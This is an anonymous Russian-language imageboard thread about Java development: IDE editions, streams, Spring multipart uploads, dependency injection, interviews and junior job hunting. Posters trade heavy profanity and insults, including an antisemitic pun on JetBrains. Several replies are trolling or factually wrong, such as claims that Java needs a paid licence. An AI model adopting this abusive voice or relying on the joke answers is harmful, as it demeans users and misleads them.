Там все функции вырезаны по сравнению с платной версией. Это просто обрубок, подачка от JetBrains. Тип, ладно, берите, нищуки, всё равно спиратите, но мы вам вырежем все важные фичи. Я вот просто ощущаю как мне плюнули в рожу.
Ок.
Каких функций тебе не хватает? Какое то время стояла эта ультимейнт и кроме тормознутости из-за 100500 плагинов профитов не заметил.
1. Название функции говно, она делает совсем не то.
2. Вместо toString() надо делать collect()
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.mapToObj(Character::toChars)
.map(String::new)
.collect(Collectors.joining());
}
Ну или немного оптимизировано
public static String distinct(String s1, String s2) {
return s2.concat(s1)
.chars()
.distinct()
.sorted()
.collect(
StringBuilder::new, (builder, i) -> builder.append((char) i), StringBuilder::append)
.toString();
}
>Эх, вот бы в вижуалстудию поддержку жабы.
Поблевать захотелось? Ну так качай там есть поддержка джавы https://visualstudio.microsoft.com/ru/
>>246745
>Я вот просто ощущаю как мне плюнули в рожу.
А ты предпочитаешь чувствовать член Сатьи в жопе? Это дерьмо даже в бесплатной версии требует заводить аккаунт и принимать соглашение, что майки иногда будут тебе присовывать, обещают неглубоко, на пол шишечки.
> Ну так качай там есть поддержка джавы
Ты ведь в курсе, что убогая электронная недопараша вскод имеет примерно такое же отношение к божественной вижуалстудии, какое джаваскрипт имеет к джаве?
Я думал что в вижал параша, поддерживает жаву по сайту выглядит как будто поддерживает.
Ну и похуй, такое говно, да еще с анальным зондом, все равно не нужно.
Не ябу, у меня идея.
Зато помню что в вижал параше 2019 не поддерживалась интерполяция строк для питона.
>Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?
Поразительно. Как ты догадался?
Ты чмо.
И что? В плюсах на самых распространённых реализациях тип char тоже знаковый, и никому это байтоёбить не мешает.
>>246783
>>246788
Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.
>>246959
В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке. Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
В плюсах есть полный набор знаковых и беззнаковых типов, а также полноценная битовая математика, а в джаве всё в усечённом варианте. Тем более в плюсах я могу что угодно писать в память, беря на себя ответственность за последующую интерпретацию, а в джаве получу райнтайм еррор на лицо.
В чем логика? Писать и бесконечно отлаживать велосипеды которые будут всю дорогу ронять прод? Я не понимаю.
>Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.
В голос просто.
>В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке.
Используй все что хочешь, просто поддержка на уровне IDE ограничена. Но если ты такой безрукий ставь Spring IDE и ебись с ней.
>Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
Наркоман что ли? У идеи комьюнити регистрация вообще не требуется, качай и ставь. А вот вижал параша комьюнити, без регистрации проработает 30 дней, а потом будь добр зарегистрироваться и отчитаться перед Сатьей хули ты там кодишь.
Зачем? Я велосипеды в петпроектах для себя могу написать, а на работе я хочу чтобы все было просто и работало.
Каждый раз HTTP-сервер с нуля пишешь в виме?
Редко. Сложно менторить, если чел застрял на чем-то то пройдет время прежде чем поймешь что у него проблема. Объяснять по слаку сложнее чем лично. Ну и вообще не понятно, сможет ли чел работать самостоятельно это же первая работа.
Или подскажите как передать с фронта объект + файл одним запросом через аджакс.
В какой тип его можно запихать? byte знаковый и если туда запишешь число больше 127, то получаешь рунтайм еррор!
Легко, но бессмысленно.
Так файл как раз без проблем принимается тем говнокодом. А вот объект не парсится, говорит, мол это строка.
Причем вот файл + строки норм парсятся, а так нихуя.
Операция запихивания и выпихивания будут накладывать дополнительные расходы и код будет тормозить.
В мультпарт можно несколько объектов засунуть.
А джесйон внутри мультипарта никак нельзя? Или что-то вроде этого сделать.
Двумя запросами будет не очень. Там у картинки и объекта общая логика сохранения. Уж лучше попробовать просто перечислить все поля. Правда у меня потом внутри объекта-дто будут массивы, приходящие с фронта.
А как тогда?
Хз. Попробуй стрингу вместо дто принимать и в контроллере парсить
Вебфлакс на Джаве такое себе, имхо его лучше с Котлином юзать, чтобы можно было писать нормальный императивный код без flatMapов.
А он точно юзабелен? Много где читал, что r2dbc еще далек от стабильности. А без реляционных баз какой нахуй энтерпрайз?
Ну какие нахуй костыли, ну какой из котлина особый уж ДРУГОЙ язык. В спринге в целом и особенно в реакторе/вебфлюксе давно уже есть специальные экстеншны под котлин, выглядит он как родной в вебфлюксе. Другое дело, что с альтернативами блокирующему jdbc пока все плохо, но тут и ktor не спасет.
Я с флюксом не знаком, но если он выглядит как rx, то это самые настоящие костыли в любом языке где появлялся этот рак. Тогда котлиновское structured concurrency реально лучше будет
Смысл именно в том, что флюкс в связке с котлином позволяет выкинуть всю эту уродливую реактивщину из кода и работать на корутинах, так же как ktor
Теперь сам вижу, что можно, все работает в консоли браузера. Но вот десериализовать у спринга и джексона не получается. Может маппер нужен?
Щас подключил к своему рабочему проекту и увидел 44 предупреждения, из которых 25 крит и 11 мажор, кек. А ебаный автор либы в триал версии скрывает описание предупреждений
The optimization event description is hidden in the Trial Version. If you want to know what performance-related problem has triggered this event, you need to purchase the product
Пробовал, не помогло. И в mime-типы ещё туда-сюда выставлял над методом и на фронте.
Точно увидел что так можно, когда гуглил. Файл + объект. Только в тех примерах фронта не было. Наверно он по другому реализован.
>Как хранить в джава массив байт?
byte[] arr = new byte[10];
>Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255
Ну раз тебе нужны величины от 0 до 255, то в чем проблема хранить их со смещением? Да, накладные расходы, но тут ничего не поделать. В джаву unsigned типы решили не добавлять, так как в С++ они хоть и есть, но также принесли с собой дополнительные проблемы.
А вообще, если тебе нужны какие-то нестандартные диапазоны, то бери int да и все. В джаве на оверхед по памяти всем похуй, энтерпрайз всегда купит дополнительные планки озу. А учитывая, что массивами пользоваться уместно далеко не всегда, то пользуются коллекциями из java.util, которые хранят ссылки на объекты, а не примитивы. А каждая ссылка весит по 16 байт. Вот и представь какой оверхед начинается, когда у тебя в коллекции уже пару миллионов элементов находится.
Как отдельную таблицу. Скорее всего в твоем мухосранске уже никогда не будет новых районов, но все равно сделай отдельной таблицей.
Чому так?
Я нуфаг, в java. Задача сформировать из текстового файла ссылку и отправить её в интернет.
В тестовом файле идет строка например " хуйня™ "
когда я формирую ссылку с использованием этой строки у меня получается "http//сайт.ком/хуйня¬トᄁ " по чему так я пока хз, конфликт кодировок, но я так и не понял что с чем конфликтует.
я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")).
Из под IDE (intellij idea) костыль прекрасно работает, и всё заебись, но когда я создаю jar и запускаю его из под винды символ ™ из ссылки исчезает и весь текст, что должен идти после него.
Как правильно фиксить эту хуйню!? И почему из под иде работает а в винде нет.
Суть GWT в том, чтобы писать фронтенд на джаве и UI-компонентах GWT, всё это при сборке проекта компилится в JS.. Работает только на серверах приложений, собирается только антом, почти не развивается.
Респект, пойду курить!
Мануальщик опыт 2 года, хочу вкатиться в автотестирование
а что тебе мешает читать текстовый файл с указанием кодировки?
А че такое авто тесты?
Лучше бери Vaadin, он вроде как развивается
А так все эти хуитки, gwt, vaadin, имхо должны уйти в прошлое. Нормальный ГУИ сейчас пишут на js, либо если что-то очень тяжелое на C++/Rust + WebASM. Остальное нахуй не нужно.
И собсна, пишут ли такое на жабе или она слишком педальная?
>А каждая ссылка весит по 16 байт
А чому так много? Укозатель в x64 - 8 байт, а ссылка x2 от него?
>говнострим сервис
>пишут ли такое на жабе
Говорят, когда-то на жабе написали один, нетфликс называется
>Я уже фуллстек 300к/наносек?
Декодер какой брал? Или писал свой?
>>248656
>пишут ли такое на жабе
Много чего в нетфликсе на жабе написано.
>>248656
>она слишком педальная
В большинстве случаев - да.
Конкретно работу с видео, стриминг, видеонаблюдение и всякое такое пишут на С++ (или на Rust в будущем). Джава больше про энтерпрайзные круды. Уровня автоматизации документооборота, складского учета, работы каких-нибудь поликлиник, гос. учереждений, банков и крупного ритейла, где математики по минимуму и очень много бюрократии.
Скорее не сама ссылка, а сколько объект занимает в памяти. Если в С/С++ можно написать структуру или класс, которая занимает ровно 1 байт в памяти, то в жабе у тебя любой объект по минимуму занимает 16 байт (в большинстве современных реализаций). Потому что выравнивание + мета информация + любой объект можно использовать в качестве мьютекса. Идет оверхед на это.
На жабе из стриминг обычно middleware пишут. Т.е. круды пользователей стримов и тд.
>Декодер
Самописный у меня криво работает (под контейнер mp4 с h264 внутри), посему пока что использую OpenH264.
>видео, стриминг, видеонаблюдение и всякое такое пишут на С++
Там два стула - либо пишешь избыточный код, делающий банальные вещи, либо борешься с зоопарком из thirdparty библиотек (с их багами, кривым дизайном, системой сборки).
Поэтому качусь в сторону java/python/(go?), где не надо на этих стульях сидеть.
Object o = () -> {};
не компилируется, а
Object o = (Runnable)() -> {};
компилиуертся?
Гугл говорит, что лямбда выражение – это упрощенная запись анонимного класса, реализующего функциональный интерфейс. Получается, что "() -> {};" это объявление этого самого анонимного класса, а при приведении к Runnable происходит его инстанцирование и поэтому можно теперь присвоить Object'у?
> Object o = () -> {};
Здесь не известен тип. Ты можешь описать сколько угодно функциональных интерфейсов, у которых один метод void без аргументов, и все будут подходить под () -> {}. По типу ссылки его тоже не вывести.
> Object o = (Runnable)() -> {};
Здесь тип известен.
> В модулях версионирования нет
Которые jpms? Как ты это себе представляешь. Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
>Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
И что тут невозможного?
Профит в виде лулзов в этом эпичном ИТТ треде!
Придётся переделывать говнохибернейт на JdbcTemplate.
Что значит из разных мест и объединяет? Если нужен парсер аргументов командной строки есть apachecli или picocli, если любишь обманываться аннотациями.
Значит есть например скрипт запуска в докерфайле
java -jar -XX:+UseShenandoahGC -Xlog:gc ${JAVA_ARGS} $(cat java.args) penis-1.0.0-SNAPSHOT.jar
Пользователь может задать кастомные опции для джава процесса в переменной JAVA_ARGS и файле java.args. Как это все объединить в одну строчку, чтобы ничего не сломать и не дать пользователю переопределить какие-то дефолты?
Ну тут хз, с докером не знаком. Могу предложить только запускать докером шел в котором будет твоя валидация этих аргументов, и который потом запустит твой жарник.
Я и спрашиваю готовый скрипт для шелла.
Нереально, только руками. Как ты вообще себя представляешь подобное автоматизировать? Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё. это в лучшем случае сведётся к нетривиальному парсингу баша, а то и других софтин, если у тебя там ещё какие-нибудь хитрые источники данных.
>Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё
Это вообще не важно. Главное чтобы набор аргументов от всех источников (т.е. тупо массив строк) объединить так, чтобы джава это прожевала и переопределить при необходимости.
Короче оказалось нужно было прописать каждому кусочку формдаты майм-тип на фронте, а потом аргумент метода контроллера прописывать через @RequestPart.
data.append('newStreamer', new Blob([JSON.stringify(streamer)],
{ type: 'application/json' }
))
data.append('picture', picture.files[0], picture.files[0].name)
С такой мелочью провозился целый день, и не сделал ничего, пиздец. Это меня так дизморальнуло, что два дня к этому проектику не прикасался и вообще ничего не делал по сути.
"<p>sdfsdfsdf</p>" +
<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>"
Есть алгоритм, который идёт по строке, и проставляет индексы начала и конца тега img. На выходе получается мапа со значениями: "2 - 35", "75 - 153", и т.д.
Теперь мне нужно "нарезать" эту строку на подстроки. Нужно по-очереди вырезать то, что находится между тегами img, ну и сам тег img.
Есть предположения?
> />
HTML тебе не XML, там такой фичи нет. И у img нет закрывающего тега.
Ну и ты что-то странное делаешь, возьми нормальный парсер HTML
Братишка, долго объяснять, просто поверь на слово: я не html парсю. И в моем случае, тег img всегда будет закрываться последовательностью символов "/>".
Не вникал в алгоритм, но если у тебя есть индексы начала и конца, что мешает засунуть их в substring?
Вообще через регулярки это можно намного проще сделать.
Ахах
Noo ne troll please
Почему не срабатывает регэксп по поиску "два символа в начале строки" следующего вида:
str.matches("^\\\\");
?
Вебассембли сам живым не выглядит, так что о возрождении говорить странно.
Если и будет, это вряд ли будут именно апплеты. Скорее отдельная технология со своим набором классов.
Так-то есть net standart, если написал под стандврт, поддерживаемый и фреймфорком и кором, то работать будет и там и там.
Что за хрень и как решить?
Спасибо, анончик, так и есть.
Ну второй раз кодирует явно бекенд. Как сказать спрингу, чтобы не кодировал ничего?
Хотя все нормально оказалось, он второй раз кодирует только когда в resourcePath в ResourceResolver выводит, а под капотом там все норм.
1. Перейдите в браузере на стриминговый сервис
2. Откройте видео
3. Нажимте F12
4. В открывшемся окне перейдите на вкладку "Сеть"
5. Выберите любой из интересующих вас запросов на получение видео
6. Обратите внимание на заголовок Content-Type ответа.
>youtube - video/mp4
очень волшебный формат, нигде такого больше встречал
Мобильная разработка на андроид - это java, kotlin
Бэк - это linux, devops - это linux. А с .NET полноценно работать под linux я не представляю возможным. Т.к. их "кроссплатформа" - это сказки о белом бычке работающие через костыли.
.NET нужен разве что в геймдеве, в банковском софте (хотя тут даже Java и Scala до сих пор лучшие) и если ты пишешь софт под форточки
Неужели нет реально сильных команд и берут одно говно туда? Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.
Нет ясен хуй. Попробуй еще стажером устроиться в это ссаный сбер на 50к, мозги будут ебать только так.
>Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.
Там сильно по разному, есть действительно знающие ребята - как правило они пишут критические сервисы - процессинг и все такое. А есть второстепенные сервисы по конвертации JSON в XML, вот туда набирают по остаточному принципу.
Опять же много подковерных игр, когда один начальник борется с другим, а без бонусов и повышений остаются обычные разрабы.
Удачи
А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов? На собесе так-то наебать могут, сказать, мол, не ссы у нас и хайлоад, и критические сервисы, и вообще никакого легаси, а в действительности будешь сидеть ковырять конвертацию XML в JSON и генерацию отчетов джаспером, и твоими коллегами будут выпускники гикбрейнса, отуса и джавараша, которые еще 7 лет назад считали труд айтишников говном и вообще всяческие попускали - травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
>травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
Эти будут твоими менеджерами в любом большом бизнесе
И где таких нет? Малый бизнес в России как правило не очень долго живет, и вообще особой культуры стартапов у нас не наблюдается. А среднего бизнеса в принципе почти не существует.
>А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов?
Смотри на проект и насколько важен он для бизнеса. Например можно спросить как у них работает поддержка прода - если есть дежурная смена которая работает 24х7, то проект критичный и к разработке подходят серьезно, а значит больше шансов на адекватную команду. Спроси про нагрузку - сколько запросов в секунду обслуживают, какие у них SLA, если не могут сказать четко - значит что-то второстепенное. Ну и в целом о чем проект, если что-то типа сервис для бизнес подразделения который помогает им рассчитывать бла-бла-бла и оценивать бла-бла-бла - то это и есть типичное перекладывание JSON в базу и обратно.
Только учти, что для крутых проектов ты тоже должен соответствовать.
>Только учти, что для крутых проектов ты тоже должен соответствовать
А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем? В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов? Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
>А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем?
А у тебя большой выбор? Просто трезво оценивай свои силы, первые год-два надо просто набраться опыта для резюме. Позовут в Яндекс - иди конечно, но если откажут ищи другие варианты.
>В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов?
Там тоже легаси говна хватает, но это именитые компании. Когда у тебя в резюме Яндекс то найти новую работу сильно проще. И в больших компаниях можно поискать новый проект внутри. Плюс там много сильных разработчиков у который можно поучиться и процесс разработки нормально выстроен.
>Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
Понятие интересного у каждого свое. К нам приходил человек из Сбера который занимался доработкой Apache Ignite для нужд сбера. Казалось бы хайлоад, никакого легаси, но чел жалуется что работа скучная и неинтересная правда занимался он в основном фиксаньем багов и мелкими фичами, на которые у GridGain руки не доходили. В общем никогда не угадаешь, да и со временем все приедается.
Во всех нормальных компаниях дают иде
У них собственная сборка эклипс.
Че?
В довесок к спринговым либам придётся обмазываться хитрыми волшебными мавенплагинами с процессорами аннотаций.
Джава еще жива будет в следующем году?
Блин блинский! Придется учить go
Да.
>spring cglib proxy
Ты че, совсем дегенерат блядь? Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.
>Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.
Для начала должен заметить, что ты тупой, агрессивный мудак, который нихуя не знает, но выебывается за пятерых.
Во вторых ты, мудило пиздоглазое, спросило
>>252623
>А почему репозитории генерируются через прокси, а не через кодогенераторы?
тут нет ни слова про компайл тайм.
В третьих jOOQ использует компайл тайм генерацию.
>А почему репозитории генерируются через прокси, а не через кодогенераторы?
>Генерируются и через кодогенераторы
>Пруф
>cglib proxy
Сука блядская.
Кодогенератор-прокси.
Не понимаю, зачем ты выебываешься
https://github.com/spring-projects/spring-framework/releases/tag/v6.0.0-M1
Он есть на хттпс://старт.спринг.ио
Встроенная поддержка спринга есть только в платной идее
> Процессоры аннотаций - нативная для джавы штука.
Настолько нативная, что не запускается автоматически при компиляции?
Что значит автоматически? При компиляции есть отдельный флаг для javac. Да, это в отличие от мавен плагинов нативно.
А твоя система сборки собирает приложения как-то без использования javac что ли?
Так систему сборки придётся хитро конфигурировать, чтобы она вызвала ебаный процессор аннотаций. Либо, чтобы было не хитро, писать плагины для неё, привязываясь таким образом к ней.
че несет блядь
Что ты докопался до пацана, он зелёную кнопочку в идее нажимает и всё запускается
Так и должно быть в 2023 году. Независимость от системы сборки и волшебный спринг, конфигурируемый без программирования.
Не дождались чего? Возможности использовать жабу не по назначению?
Лучше бы написал как решить проблему отсутствия беззнаковых целых и полного набора битовых операций.
Проблемы нет.
остальное мне не нужно
Java это процессор аннотаций
я люблю аннотации
Это аналог не всего спринга, а spring integration. Не лучше, да и вообще не нужен.
>Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии?
Да, надо купить платную версию терминала, там нет ограничений на запуск приложений.
Запусти через стрелочку и посмотри с какими параметрами запускает IDEA, потом погугли доки и убери все лишние параметры.
Скачал бесплатный VS Code и всё завелось без проблем. Вывод: продукты жидбрейнса - кал. Ещё и деньги требуют за своё говно.
Причем тут гуи? Посмотрти внимательно из какого каталога ты пытался запустить свое приложение.
Все правильно сделал! А теперь скачай сисярп и съеби из треда, даун.
На деле получается, что иде влияет. Она как-то блокирует или подменяет пути, но как именно - не понятно. В гугле пишут, что там надо с путями играться. Как по мне это говорит о низком качестве продукта. Возможно в платной версии не так и всё работает из коробки.
>>255008
Шилдт не пишет больше про сисярп, поэтому я решил изучать джаву. Тем более синтаксис похож и я быстро вкачусь.
>Возможно в платной версии не так и всё работает из коробки.
Никакая платная версия не выпрямит твои кривые руки и не исправит нежелание разбираться.
https://habr.com/ru/post/125210/
Как это прописать?
load50NameIntoArray();
printEveryNameFromArray();
Реализация данных функций тривиальна и дается читателю как домашнее задание.
String names = new String[] { "Alex", "David", "Maria" };
А дальше в теле цикла:
System.out.println( names );
Бля, разметка фейлится
Да, нужно приобрести лицензию на джаву иначе не запустится. Либо скачать пиратку.
А как ты вообще догадался про сисярп? По нестандартной цветовой схеме под вижлу?
Но ведь в VS Code всё получилось! Значит джава нормальная стоит, а проблема в IDE от жидбрейнсов.
Вообще, у меня возникает диссонанс, что джава позиционируется у многих как открытый продукт, а всё ПО для неё почему-то платное. В то время как проприетарный шарп имеет абсолютно бесплатные полнофункциональные IDE.
Эклипс и Нетбинс бесплатные.
Это на всякий случай, чтоб ты вдруг не забыл, что ты в повершелле.
for(int x : arrays) {
...
}
В переменной x можно взять текущее значение. А как мне получить ключ или индекс? К примеру, выполняется поиск значения. Значение-то я нашёл, а что возвращать? Ключа-то нет!
Я уже все варианты перебрал и в гугле искал ответ. Не работает ни как.
Вместо того, чтобы соревноваться в остроумии и оскорблениях, лучше бы сами попробовали на бесплатной версии.
Блин, и правда.
А ты его перед этим скомпилил? javaс shildt/Example.java
Или говношилдт не пишет, как нужно компилировать хеловорды с недефолтными пакетами?
IDE же сама их компилит через Build или она что-то другое создает под видом файла Example.class?
Идея по дефолту компилит в отдельную папку чтобы не засирать проект класс-файлами.
Ну у тебя судя по картинке Example.class не в папке Example/shildt, а в папке Example. Ты чета нахуевертил.
В взкоде пиратская джава стоит.
Им бы битрикс установить, а не спринг.
Стримы вообще не стоит использовать, они блокирующие и устарели. Сейчас лучше брать каналы.
Это шизик из go-треда.
>А как мне получить ключ или индекс?
Если нужен индекс то старообрядный for со счетчиком.
Если ключ, то итерироваться по entrySet().
Напиши свою реализацию List'a в котором будут ноды, знающие своё положение. Теоретически забавный кейс
Он спрашивает про стримы для коллекций, а не ввод-вывод.
https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html
А тебя ебёт?
Как будто бы все каналы неблокирующие.
Вообще, неблокирующий IO в джаве сделан как-то по уебански, использовать каналы и селекторы можно только для SocketChannel и вроде бы пайпов. Асинхронные файловые каналы возвращают фьючи, а не комплетабл фьючи, что уже сильно неудобно. Для неблокирующего ввода из консоли походу вообще нет ничего.
Почему нет функции вроде asyncRead(FileDescriptor, Consumer), чтобы можно было бы сразу повесить коллбек который вызовется при завершения чтения?
У тебя опять воркдир не тот. Это не IDE плохая, это ты пока что плохо терминал освоил или невнимательно смотришь.
Да хоть сколько, это тот же самый итератор под капотом, суть такая же. А в некоторых случаях даже лучше будет, например Files.lines читает строки лениво, вместо загрузки всего файла целиком сразу.
Прохладно нахуй. У стримов другие минусы, не связанные с количеством элементов, но связанные с устройством самой жвм. Из очевидного это effective final переменные и checked exception. Ну и ещё футпринт от анонимных классов. В котлиняше это всё было элегантно решено с помощью инлайн функций. Жабе позорной должно быть стыдно.
Хуёк нахуй.
Вот на похожий вопрос о перфомансе стримов ответ от одного из главных джавистких рускоязычных гуру - от Тагира Валеева.
Спасибо.
https://inponomarev.ru/corejava
А также, чуть раньше нашел подборку из 20-ти записей собеседований с крутыми, вполне, на мой взгляд, реалистичными вопросами и алгоритмическими задачами на интервью (плейлист).
https://www.youtube.com/watch?v=XZIwI_bdNKU&list=PLlsMRoVt5sTMMCwd_gLaaZMkQhzVh9hLA
Хочу поделиться своей находкой для анонов, которые ищут/меняют работу или хотят импрувнуть/освежить свои знания.
Посмотрев некоторые из этих материалов, я даже возымел дерзновение предложить эти материалы в регулярный ОП-пост в шапку. Например, создав раздел "подготовка к интервью на позицию Java-backend developer" или в этом роде.
Курс хороший, но скорее для вкатунов. Для собесов мфтишный курс недостаточно подробен.
Судя по трем проваленным собесам на джуна. Нужно:
- на зубок знать Arraylist, hashmap/set, linkedhashmap/set, treemap/set, в том числе О-большое большинства методов, концептуально понимать еще десятка два коллекций, знать иерархию и тд.
- основы ооп в джаве, основы модели памяти, как и что передается в метод.
- иерархия исключений.
- особенности сущностей в jpa, особенности типов связей между сущностями
Это спрашивали все три раза. Многопоточку не спрашивали ни разу. Остальные вопросы по джвакору/хиберу/спрингу были сильно разные.
Не буду! Только в больном мозгу могла родиться идея сделать byte знаковым.
Это запросто может быть не автор, а переводчики/редакторы, после которых порой код в примерах не компилируется.
>концептуально понимать еще десятка два коллекций
А какие еще есть коллекции? Ну там очередь с приоритетами есть, всякие concurrent коллекции. Их чтоли?
И где взять вопросы по коллекциям? Там прямо по кишкам гоняют, по всяким красночерным деревьям или нужно в общих чертах знать что под капотом находится у коллекций и какая сложность у методов.
Мошенник он. Продавец воздуха. Спекулянт.
Сергей Немчинский говорит, что к собесам не надо готовится. Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
Queue, Deque, Skip list, Ring buffer и всякие деревья.
На собеседованиях спрашивают внутреннее устройство хешсета, а на работе ты всегда можешь погуглить какой аннотацией включить хуйнянейм в спринге. Поэтому хз, утверждение Немчинского относится, вероятно, к тем временам, когда интернета не было в том виде как сейчас.
Пиздит
> Сергей Немчинский
Толсто.
> Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
Ага, поясняешь за 10 деревьев и 20 сортировок, чтобы потом на работе везде юзать ArrayList, Arrays.sort() и всё готовенькое.
Мы вам перезвоним.
Так и сделал когда летом работу искал. В итоге отсеял хуесосов, которые доёбывались с внутренними алгоритмами сборщиков мусора, историями "а у нас нет коллекцией и сортировать нельзя что будешь делать", "как так, не помнишь какие методы у массивов"
В итоге самый большой оффер был на 240, самый маленький (не считая отказов) 135, пошёл на 200 с премиями и кайфом
На мидла, что-то было удалённо, что-то нет. Большая часть вакансий удалённые. РФ
Так на милла сильно другой разговор чем на трейни/джуна. Там предложений на каждого соискателя сильно меньше. Мне, чтобы вообще позвали на три собеса на сто откликов в месяц даже опыт в три месяца пришлось нарисовать. До этого месяц слал тоже удаленку, из 50 откликов прислали 4 тестовых из них 2 совсем неадекватных.
Но мне кажется у джунов все так плохо именно на удалёнке. На одном из собесов мне челик сказал, мол если в мск приедешь, то можем тебя взять джуном на 40к. У него есть джуны хуже меня. Но удаленка только для "самостоятельного" мидл+.
Возможно придётся реально ехать в мск и работать полгода год чисто на аренду комнаты и билет на метро, а на еду и одежду клянчить у мамки и занимать. А потом возвращаться в мухосрань на удаленку.
И сразу же охуел оттого, что приходится ручками искать и вставлять импорты.
Стандартные пакеты жабы худо-бедно помню, но представил когда придется юзать хибер, спринг, обвес для тестирования (JUnit, Mockito, матчеры) и прочий кал, я же просто ебнусь нахуй.
Кто-то в таком режиме кодит, есть кулстори?
>Кто-то в таком режиме кодит, есть кулстори?
Только дебилы. Тормоза на бюджетной пеке, уровня современного и3 + 8гб доставляют намного меньше головной боли, чем бойлерплейт джавы.
Либо иде тормозит пока ищет пакеты, либо ты.
Раз ты мухосранец, то нужно было учить php, ну или js, если у вас в городе есть вакансии на него.
А так, чтобы войти в айти на джаву, нужно еще в вузе идти на стажировки и подработки. То есть тебе нужно было поступить в ДС вуз, доучиться до 3-4 курса, и начать искать работу. А ты не с того входа начал стучаться в айти.
Фронт я не люблю и не умею. Хотя изучил поверхам жс, в том году. И постоянно подмывает начать учить реакт, чтобы учебные проекты на спринге было веселее писать.
Ну может надо было с пыхи начинать. Но запудрил мозги себе всем этим пранебрежением к динамике вообще, а к пыху принебрежение в квадрате.
Но я вообще думал в андроед вкатыаться. После двух дней вступительных уроков понял, что андроед это тот же фронт.
Но я уже 2.5 года просрал на вкат, из них год на джаву, год на хибер и спринг(и еще полгода собираюсь просрать).
Я просто учился и учился. А тут прочекал рынок в октябре и понял, что будет сложно.
Попробую еще с удаленкой поебаться до весны.
Странно, за 2 года вката работу найти обычно очень легко?
Ты точно эти 2 года учился, а не просто пинал хуи или зачитывался какими-нибудь талмудами вместо написания петпроджектов и чтения мурзилок?
Ну ты во всем угадал, так то. Но я не мог пойти по быстрому пути, который тебе кажется правильным. Мне надо было проебать кучу времени, чтобы убедить себя, что это мне нравится.
Я тратил очень мало времени в неделю первый год. И читал талмуд Хорстмана, проходил джетбрейнс академию, курс лекций от МФТИ смотрел, читал всякие говностатьи на Хабре, записи конференции, ещё чилово вкатывался(ну много прокрастинировал, но не жалею, так было легче психологически). Ещё от дня до 3 я потратил на пых, питон и андроид, чисто прощупать почву. Ну это мне некоторой уверенности придало. Я помню начинал по вашей любимой русскаязычной мурзилке этого треда по - метаниту. И вообще нихуя не понял. Сейчас мне кажется этого бы хватило. Все равно все сложные моменты, что я пересмотрел в 4 местах я один хуй забыл, а некоторые и вообще не понял. Особенно это видно во время проработки вопросов после проведенного собеса.
Петпроекты до спринга тоже не начинал само собой.
Я не о реализации. Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом? Почему он инжектится туда, где нужен ZalupaService?
>Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом?
Класс должен присутствовать в контексте потому что ты объявил его бином с помощью аннотации @Component.
>Почему он инжектится туда, где нужен ZalupaService?
Потому что спринг видит, что нужно заинжектить сервис в конкретное поле с конкретным типом. Идёт в контейнер и ищет подходящие классы по типу, чтобы их заинжектить, потом инжектит
>Идёт в контейнер и ищет подходящие классы по типу
Как? В контейнере есть только ZalupaServiceStub. Чтобы узнать о том, что этот класс подходит, надо узнать иерархию сервисов, начиная с интерфейса ZalupaService. Выходит спринг должен знать всех наследников интерфейса/класса, чтобы правильно заинжектить объект.
Спринг перебирает все бины в контексте и ищет среди них те, что реализуют интерфейс или имеют нужного предка.
Работало бы быстрее, если бы инжектилось в компайл-тайме. DI-параша вообще не про перформанс.
В смысле, ты чего-то не то пишешь.
> В контейнере есть только ZalupaServiceStub
А ZalupaServiceImpl куда дел? У тебя он тоже же объявлен как @Service
> Должен знать всех наследников
Нет, зачем? В наивной реализации достаточно при необходимости инжекта взять все бины из контейнера, пройтись по ним и их родителям (а не наследникам), дабы подобрать подходящий бин
https://hh.ru/vacancy/50178469
